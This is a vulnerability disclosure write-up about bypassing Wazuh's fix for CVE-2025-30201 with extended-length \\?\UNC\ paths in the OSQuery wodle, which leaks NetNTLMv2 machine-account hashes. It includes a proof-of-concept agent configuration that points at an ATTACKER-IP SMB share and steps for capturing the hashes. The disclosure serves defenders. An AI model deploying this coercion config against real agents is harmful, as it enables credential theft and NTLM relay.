Wazuh mitigated a NetNTLMv2 hash leakage (CVE-2025-30201 / GHSA-x697-jf34-gp5x) issue caused by allowing classic UNC paths (e.g., \\server\share) in centrally managed Windows agent configuration. The core risk is that when a attacker controlled domain-joined Windows agent accesses a remote SMB path, Windows may perform NTLM authentication to that server, allowing an attacker to capture the machine account’s NetNTLMv2 hash.

In follow-up testing on Wazuh 4.14.1, I found that the mitigation could still be bypassed in the OSQuery configuration: classic UNC paths were blocked, but extended-length UNC paths using the \\?\UNC\ prefix were accepted for OSQuery’s log_path and config_path.

The CVE has seen bince been extended to cover the bypass.

Tested scope (4.14.1)

  • Affected (confirmed): Windows agent OSQuery wodle (<wodle name="osquery">), fields log_path and config_path
  • Not affected (tested): Logcollector, FIM, Command module, Rootcheck, SCA

Finding

After the original patch, a standard UNC path such as:

\\ATTACKER-IP\a\a\osquery.txt

was rejected in my tests when used as OSQuery log_path / config_path. However, the extended-length UNC form:

\\?\UNC\ATTACKER-IP\a\a\osquery.txt

was accepted and used by the agent. When OSQuery attempted to access the path, Windows authenticated to the attacker-controlled SMB server and leaked the machine account’s NetNTLMv2 hash.

Testing PathIsUNCA() vs PathIsUNCW() behavior

The mitigation relied on PathIsUNCA() to detect UNC paths. But does this function actually recognize extended-length UNC paths? We can quickly test this in PowerShell by calling both the ANSI and Unicode variants directly:

Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Shlwapi {
    [DllImport("shlwapi.dll", CharSet = CharSet.Ansi)]
    public static extern bool PathIsUNCA(string path);

    [DllImport("shlwapi.dll", CharSet = CharSet.Unicode)]
    public static extern bool PathIsUNCW(string path);
}
"@

$testPaths = @(
    "\\server\test",
    "C:\test",
    "\\?\UNC\server\test"
)

foreach ($path in $testPaths) {
    $resultA = [Shlwapi]::PathIsUNCA($path)
    $resultW = [Shlwapi]::PathIsUNCW($path)
    Write-Host "$path -> ANSI: $resultA, Unicode: $resultW"
}

The result:

\\server\test -> ANSI: True, Unicode: True
C:\test -> ANSI: False, Unicode: False
\\?\UNC\server\test -> ANSI: False, Unicode: True

Both functions agree on classic UNC paths and local paths. However, they disagree on extended-length UNC paths: PathIsUNCA() returns False, while PathIsUNCW() returns True.

The ANSI variant does not recognize \\?\UNC\... as a UNC path, which is the gap that allowed the bypass.

Proof of Concept

<agent_config>
  <wodle name="osquery">
    <disabled>no</disabled>
    <run_daemon>yes</run_daemon>
    <log_path>\\?\UNC\ATTACKER-IP\a\a\osquery.txt</log_path>
    <config_path>\\?\UNC\ATTACKER-IP\a\a\osquery.txt</config_path>
    <add_labels>no</add_labels>
  </wodle>
</agent_config>

High-level reproduction:

  1. Run a SMB listener on ATTACKER-IP that records inbound NTLM authentication attempts (e.g., Impacket).
  2. Apply the centralized OSQuery configuration above to a domain-joined Windows agent.
  3. Observe the inbound NTLM authentication attempt and capture the machine account’s NetNTLMv2 hash.

Impact

If an attacker can control or spoof centralized agent configuration (e.g., compromised Wazuh manager, overly broad privileges, or possession of an agent private key), they can coerce domain-joined Windows agents into authenticating to attacker infrastructure. Captured machine account NetNTLMv2 hashes can be used for offline cracking and, more critically, for NTLM relay against services that accept NTLM. Depending on the role of the affected host (e.g., a domain controller) and the environment, this can contribute to severe escalation up to full domain compromise.

Status

I reported this as a remaining leakage vector related to CVE-2025-30201 / GHSA-x697-jf34-gp5x, but specific to OSQuery’s log_path / config_path and the \\?\UNC\... representation. The other modules listed above were explicitly tested and were not affected by this bypass.

Recommendation: upgrade to Wazuh release 4.14.3+ and verify that OSQuery path validation blocks both classic UNC (\\server\share) and extended-length UNC (\\?\UNC\server\share) forms.

I want to thank the Wazuh Security Team for their quick and professional communication and handling of this vulnerability.

References